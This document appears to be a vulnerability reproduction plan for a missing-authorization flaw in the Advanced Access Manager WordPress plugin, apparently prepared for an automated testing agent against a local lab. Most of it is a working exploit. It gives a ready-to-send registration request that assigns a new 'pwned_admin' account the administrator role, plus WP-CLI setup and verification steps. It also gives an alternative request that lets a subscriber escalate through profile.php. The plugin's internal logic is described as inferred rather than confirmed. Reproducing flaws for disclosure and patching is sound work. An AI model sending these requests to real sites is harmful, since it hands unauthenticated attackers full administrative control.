Advanced Access Manager – Access Governance for WordPress <= 7.1.0 - Missing Authorization

1. Vulnerability Summary

The Advanced Access Manager (AAM) plugin for WordPress is vulnerable to Missing Authorization in versions up to and including 7.1.0. Specifically, the AAM_Backend_Manager::profileUpdate function, which is hooked to user_register, does not verify if the requester has the necessary permissions to assign user roles. This allows unauthenticated attackers to assign themselves arbitrary roles (including administrator) during the public registration process, provided that the plugin's "Multi-Role" feature is enabled.

2. Attack Vector Analysis

• Endpoint: wp-login.php?action=register
• Action: Public user registration.
• Vulnerable Hook: user_register (registered in application/Backend/Manager.php).
• Vulnerable Parameter: aam_user_roles[] (array of role slugs).
• Preconditions:
  1. WordPress membership is enabled (users_can_register).
  2. AAM Multi-Role support is enabled (core.settings.multi_access_levels).
• Authentication: None (Unauthenticated).

3. Code Flow

1. Entry Point: An unauthenticated user submits a POST request to wp-login.php?action=register.
2. WordPress Core: WordPress validates the basic registration data (user_login, user_email) and creates a new user.
3. Hook Trigger: After the user is created, WordPress fires the user_register action hook, passing the new $user_id.
4. Plugin Callback: AAM_Backend_Manager::profileUpdate($user_id) is executed because it is registered to this hook in application/Backend/Manager.php:

   if (AAM::api()->config->get('core.settings.multi_access_levels')) {
       // ...
       add_action('user_register', array($this, 'profileUpdate'));
   }
   

5. Vulnerable Logic: The profileUpdate function (logic inferred from multiple-roles.php and the vulnerability description) reads the aam_user_roles parameter directly from the $_POST superglobal and applies these roles to the newly created $user_id without checking if the current requester has promote_users or manage_options capabilities.

4. Nonce Acquisition Strategy

This vulnerability bypasses nonce requirements because the user_register hook is a standard WordPress action intended for public use. The core registration process does not utilize plugin-specific nonces. If the profileUpdate function fails to implement its own capability check (current_user_can), it inherits the unauthenticated context of the registration page.

5. Exploitation Strategy

The goal is to register a new user and simultaneously assign them the administrator role using the aam_user_roles[] parameter.

Step-by-Step Plan:

1. Initialize Environment: Ensure AAM is active and the "Multi-Role" setting is enabled.
2. Enable Registration: Ensure WordPress allows public registration.
3. Perform Registration: Send a POST request to wp-login.php?action=register.
4. Payload:
   • user_login: pwned_admin
   • user_email: pwned@example.com
   • aam_user_roles[]: administrator
   • wp-submit: Register

HTTP Request (via http_request tool):

POST /wp-login.php?action=register HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

user_login=pwned_admin&user_email=pwned%40example.com&aam_user_roles%5B%5D=administrator&wp-submit=Register

6. Test Data Setup

Before running the exploit, the environment must be configured as follows:

1. Activate AAM: wp plugin activate advanced-access-manager
2. Enable Multi-Role Support:

   wp eval "AAM::api()->config->set('core.settings.multi_access_levels', true);"
   

3. Enable WP Registration:

   wp option update users_can_register 1
   

7. Expected Results

• The registration should succeed (HTTP 200/302).
• A new user with the login pwned_admin will be created.
• The user pwned_admin will be assigned the administrator role in addition to (or instead of) the default subscriber role.

8. Verification Steps

After performing the HTTP request, verify the success of the privilege escalation using WP-CLI:

# Check the roles assigned to the new user
wp user get pwned_admin --field=roles

Success Condition: The output contains administrator.

9. Alternative Approaches

If the user_register hook is restricted or fails, an attacker could attempt the same payload via the profile_update hook if they can gain low-level access (e.g., as a Subscriber).

1. Login as a Subscriber.
2. Navigate to wp-admin/profile.php.
3. Submit a POST update to profile.php including aam_user_roles[]=administrator.
4. If profileUpdate is also missing authorization checks for the self-update scenario, the Subscriber will elevate themselves to Admin.

Request for Alternative Strategy:

POST /wp-admin/profile.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: [Subscriber Cookies]

...&user_id=[SELF_ID]&aam_user_roles%5B%5D=administrator&submit=Update+Profile